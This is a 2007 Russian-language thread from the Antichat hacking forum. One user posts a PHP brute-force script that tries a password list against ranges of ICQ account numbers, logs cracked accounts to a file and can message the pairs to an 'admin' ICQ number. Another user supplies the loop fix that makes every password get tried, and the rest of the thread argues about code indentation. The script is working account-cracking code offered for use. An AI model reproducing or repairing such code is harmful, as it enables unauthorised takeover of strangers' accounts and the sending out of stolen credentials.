ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Помогите с брутом на php!
  #1  
Старый 18.07.2007, 23:19
Аватар для Hormold
Hormold
Banned
Регистрация: 26.06.2007
Сообщений: 49
Провел на форуме:
217718

Репутация: 8
Exclamation Помогите с брутом на php!

Вот пишу брут на php...
Получается так: он берёт последний пароль из списка и проверяет его! Остальное он не трогает! Как избавиться от этого?
Вот код:
PHP код:
<?
$good
="good.txt";
$bad="bad.txt";
if (@
socket_create()) {
echo 
"<center><b>Ошибка: хостинг не поддерживает сокеты :(</b></center>";
exit();
}
error_reporting(0);
set_time_limit(0);
ignore_user_abort(1);
if(!empty(
$_GET["pass"]) && $_GET["uin_start"] && $_GET["uin_end"])
{
$plist explode("\n"$_GET["pass"]);
$icq     = new WebIcqLite();
if (empty(
$uin))
{
    
$uin $_GET["uin_start"];
}
elseif (
$_GET["uin_end"] == $uin && $_GET["uin_rand"] == 0
{
exit();
}
else
{
$uin++;
}
for (
$i 0$i <= count($plist)-1$i++)
{
$new_pass trim($plist[$i]);
}

if(
$icq->connect($uin$new_pass))
{
$file fopen($good"a+");
fwrite($file$uin.";".$new_pass."\n");
fclose($file);
if (
$_GET["send"] == "icq"
{
$icq->send_message($_GET["admin"], "Сбручен номер:\n".$uin.";".$current_pass);
}

}
else
{
$badfile fopen($bad"a");
fwrite($badfile$uin.";".$new_pass."\n");
fclose($badfile);
}
}else{
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>MINI BRUTE BY HoRmOlD</title>

</head>

<body>
<center>
  <table width="703" height="272" border="0">
  <tr>
    <td height="56"><center>
      <font color="#FF0000"><strong>MINI BRUTE BY HoRmOlD </strong></font>
    </center>
      </td>
  </tr>
  <tr>
    <td><center>
      <p>&nbsp;</p>
      <form method="get">
        <p>С какого номера начать:
            <input type="text" name="uin_start" />
        </p>
        <p>Каким закончить:
            <input type="text" name="uin_end" />
        </p>
        <p>Пароли(Не больше трёх):</p>
        <p>
            <textarea name="pass" cols="30" rows="5"></textarea>
        </p>
        <p>Если сбручен номер то: 
        <select name="send" size="1" >
<option value="icq" selected>На ICQ
<option value="0">Просто записать в good.txt
</select><BR>
        Номер icq админа:
          <input type="text" name="admin" />
          <INPUT TYPE="hidden" name="start" value="1">
</p>
        <p>
          <input name="Submit" type="submit" value="Брутить" />
        </p>
      </form>
      <p>(C) HoRmOlD</p>
      <p>&nbsp;      </p>
    </center>
    
    
    </td>
  </tr>
</table></center>
</body>
</html>

<?
///END BRUTE CODE
}
//Тут идёт WebIcqLite, нестал помещать из за размера!!!
?>
 
Ответить с цитированием

  #2  
Старый 18.07.2007, 23:23
Аватар для GoreMaster
GoreMaster
Участник форума
Регистрация: 28.05.2007
Сообщений: 125
Провел на форуме:
638513

Репутация: 103
По умолчанию

Засунь в цикл проверку
Код:
if($icq->connect($uin, $new_pass))....
PHP код:
for ($i 0$i <= count($plist)-1$i++)
{
$new_pass trim($plist[$i]);

В этот цикл
PHP код:
<?php
for ($i 0$i <= count($plist)-1$i++){ 
if(
$icq->connect($uin$new_pass)){
$file fopen($good"a+");
fwrite($file$uin.";".$new_pass."\n");
fclose($file);
if (
$_GET["send"] == "icq"){
$icq->send_message($_GET["admin"], "Сбручен номер:\n".$uin.";".$current_pass);
}
}
else{
$badfile fopen($bad"a");
fwrite($badfile$uin.";".$new_pass."\n");
fclose($badfile);

}
?>
Вроде так
З.Ы.:учись правильно оформлять код(код,написанный в один столбик без отступов нечитаем)

Последний раз редактировалось GoreMaster; 18.07.2007 в 23:30..
 
Ответить с цитированием

  #3  
Старый 18.07.2007, 23:32
Аватар для Hormold
Hormold
Banned
Регистрация: 26.06.2007
Сообщений: 49
Провел на форуме:
217718

Репутация: 8
По умолчанию

А всё спасибо
А то сначало не понял )
 
Ответить с цитированием

  #4  
Старый 18.07.2007, 23:33
Аватар для Hormold
Hormold
Banned
Регистрация: 26.06.2007
Сообщений: 49
Провел на форуме:
217718

Репутация: 8
По умолчанию

Про это(З.Ы.:учись правильно оформлять код(код,написанный в один столбик без отступов нечитаем))
я искал ошибки и всё разложил так чтобы было удобно!
 
Ответить с цитированием

  #5  
Старый 18.07.2007, 23:37
Аватар для GoreMaster
GoreMaster
Участник форума
Регистрация: 28.05.2007
Сообщений: 125
Провел на форуме:
638513

Репутация: 103
По умолчанию

Цитата:
я искал ошибки и всё разложил так чтобы было удобно!
Поставь Zend Studio там есть функция Ident Code, которая делает твой код читабельным и удаляет лишник отступы.
З.Ы.:не знаб есть ли в других редакторах такая фукнция
 
Ответить с цитированием

  #6  
Старый 19.07.2007, 00:42
Аватар для Isis
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028

Репутация: 2371


По умолчанию

Я считаю красивый код такой:
PHP код:
<?php
    error_reporting
(0);
    
set_time_limit(0);
    
ignore_user_abort(1);
    
    
$good     'good.txt';
    
$bad    'bad.txt';
    
    if (@
socket_create())
    exit(
'<center><b>Ошибка: хостинг не поддерживает сокеты :(</b></center>');

    if(!empty(
$_GET['pass']) && $_GET['uin_start'] && $_GET['uin_end'])
    {
        
$plist explode("\n"$_GET['pass']);
        
$icq     = new WebIcqLite();
    if(empty(
$uin))
    {
        
$uin $_GET['uin_start'];
    }
    elseif(
$_GET['uin_end'] == $uin && $_GET['uin_rand'] == 0) exit();
    else 
$uin++;
    
    for(
$i 0$i <= count($plist)-1$i++)
    {
        
$new_pass trim($plist[$i]);
    }

    if(
$icq->connect($uin$new_pass))
    {
        
$file fopen($good'a+');
        
fwrite($file$uin.";".$new_pass."\n");
        
fclose($file);
        if (
$_GET['send'] == 'icq')
        
$icq->send_message($_GET['admin'], "Сбручен номер:\n".$uin.";".$current_pass);
    }
    else
    {
        
$badfile fopen($bad'a');
        
fwrite($badfile$uin.";".$new_pass."\n");
        
fclose($badfile);
    }
    
    } 
    else
    {
?>
html
<?php
    
}
?>
 
Ответить с цитированием

  #7  
Старый 19.07.2007, 01:08
Аватар для GoreMaster
GoreMaster
Участник форума
Регистрация: 28.05.2007
Сообщений: 125
Провел на форуме:
638513

Репутация: 103
По умолчанию

Цитата:
Я считаю красивый код такой:
У каждого свое представление о красоте,но когда речь идет о программном коде,то здесь главное читаемость,а не красота.
Вроде существуют каноны,по котоым следует оформлять код
P.S.: не оффтопь
 
Ответить с цитированием

  #8  
Старый 19.07.2007, 01:15
Аватар для Isis
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028

Репутация: 2371


По умолчанию

GoreMaster, красивый код это и есть "читаемость"...
Разве нет?
 
Ответить с цитированием

  #9  
Старый 19.07.2007, 01:28
Аватар для GoreMaster
GoreMaster
Участник форума
Регистрация: 28.05.2007
Сообщений: 125
Провел на форуме:
638513

Репутация: 103
По умолчанию

Цитата:
Разве нет?
Нет,так как понятие красоты понятие субъективное,мне вот не нравится твое оформление кода,но он читаем.
Меня напрягают отступы вначале и пробелы ИМХО лишние между условиями.

Последний раз редактировалось GoreMaster; 19.07.2007 в 01:32..
 
Ответить с цитированием

  #10  
Старый 19.07.2007, 02:12
Аватар для Isis
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028

Репутация: 2371


По умолчанию

Мда..вы смешной =\
Прочитайте про стили оформления..
Отступ слева должен быть всегда - это дефолт!
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
ПомогитЕ !!! подалуста найти кряк гейлордфакерЪ Болталка 2 30.08.2007 14:48
ПоМоГиТе! ПЛЗ!!! farik.aka E-Mail 1 17.09.2006 13:00
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ